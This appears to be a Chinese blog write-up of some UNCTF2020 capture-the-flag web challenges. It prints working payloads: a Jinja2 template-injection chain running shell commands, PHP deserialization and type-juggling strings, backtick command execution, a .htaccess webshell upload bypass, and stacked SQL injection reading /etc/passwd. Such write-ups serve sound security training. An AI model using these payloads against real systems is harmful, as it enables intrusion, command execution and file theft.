UNCTF2020web方向部分题解
文章目录
Web方向
easy_ssrf
php遇到不认识的协议就会当目录处理?url=0://unctf.com/../../../../../../../../flag
easyflask
SSTI/沙盒逃逸详细总结
SSTI模板注入及绕过姿势(基于Python-Jinja2)
解题思路:{{2*2}}
发现是ssti,过滤了_
,'
,"
,[
,]
,%
,使用(request.args.x1),get请求x1绕过__class__
写一个get请求的payload:
读取所有的class类
?guess={{%20({}|attr(request.args.x1)|attr(request.args.x2)|%20attr(request.args.x3)())}}&x1=__class__&x2=__base__&x3=__subclasses__
发现165是warnings.WarningMessage
最后构造出paylaod:
?guess={{%20({}|attr(request.args.x1)|attr(request.args.x2)|%20attr(request.args.x3)())|attr(request.args.x6)(165)|%20attr(request.args.x4)|%20attr(request.args.x5)|%20attr(request.args.x6)(request.args.x7)|attr(request.args.x6)(request.args.x8)(request.args.x9)}}
&x1=__class__
&x2=__base__
&x3=__subclasses__
&x4=__init__
&x5=__globals__
&x6=__getitem__
&x7=__builtins__
&x8=eval
&x9=__import__(%22os%22).popen("ls").read()
最后读取flag.txt即可
俄罗斯方块人大战奥特曼
下载压缩包
查找字符串flag,找到一个this is your flag
,访问这个html即可
easyunserialize
ctfshow上的题目,月饼杯,几乎是一模一样的,做过一遍了。。。。
反序列化字符串逃逸,需要逃逸";s:8:"password";s:5:"easy";}
29个字符串,但challenge
到easychallenge
是四个字符串,卡了很久,最后尝试去掉最后一个}
可以成功,很懵
challengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";
babyeval
直接反引号`执行命令,不能有flag,使用base4编码秒了
?a=echo `ls|base64`;
最后cat flag.php即可
?a=echo `cat flag.php|base64`;
ezphp
网上几乎一模一样的题目,实验吧的,秒了
构造两个数组使bool值为真(true跟任意字符串都弱类型相等)
data=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
easy_upload
这题是考.htaccess的,做过buuctf的应该都会,例题:[SUCTF 2019]EasyWeb 和 [XNUCA2019Qualifier]EasyPHP。然后秒了
禁止上传后缀带ph的和内容带ph的,并检测content
首先上传shell.abc,内容为一句话的base64编码
然后上传.htaccess,用\绕过检测,这正则匹配了一个寂寞,应该不能这样写的呀
不多bb直接得到flag
UN’s_online_tools
一开始是sqlmap一把梭,然后发现没有flag,想了很久想到sqlmap读取文件秒了,没有复现环境,改为另一个题了。。嘤嘤嘤
命令执行,直接秒杀
空格可以用%09绕过,后面就没有难度了
ezfind
给出了提示才做出来的:if(!(is_file($name)===false)){flag}else{no flag}
然后盲猜数组,结果就出来flag了,看一下为什么
发现是NULL,然后===false是false,再来一个!结果就是true
其他的题目的一些思路:
checkin-sql:
1';PREPARE hacker from concat('selec','t',' * from `0xDktb`');EXECUTE hacker;#
即可执行任意的sql语句,可以读任意文件
1';PREPARE hacker from concat('selec','t',' load','_file','(0x2f6574632f706173737764)');EXECUTE hacker;#
但。。。。找不到flag,写文件的话不知道是姿势错了还是写不进去,tcl
easyphp:
这题本地发现可以${``}
执行任意命令,但有长度限制,6位一下命令执行网上一大堆,前面的admin密码直接变量覆盖,sha1使用数组失败,应该是**0e,没**出来Orz
推荐阅读
-
IOS中html5上传图片方向问题解决方法
-
洛谷CSP-J/S2020初赛模拟部分题解
-
win10部分软件显示模糊怎么办 win10系统软件显示不清楚问题解决方法
-
2019CCPC-江西省赛【部分题解】
-
Nordic Collegiate Programming Contest 2019 部分题解
-
2020 CCPC Wannafly Winter Camp Day1 (部分题解)
-
2020 CCPC Wannafly Winter Camp Day5 (部分题解)
-
2020 CCPC Wannafly Winter Camp Day3(部分题解)
-
Educational DP Contest / DP まとめコンテスト部分题解
-
vscode对Vue文件的html部分格式化失效问题解决办法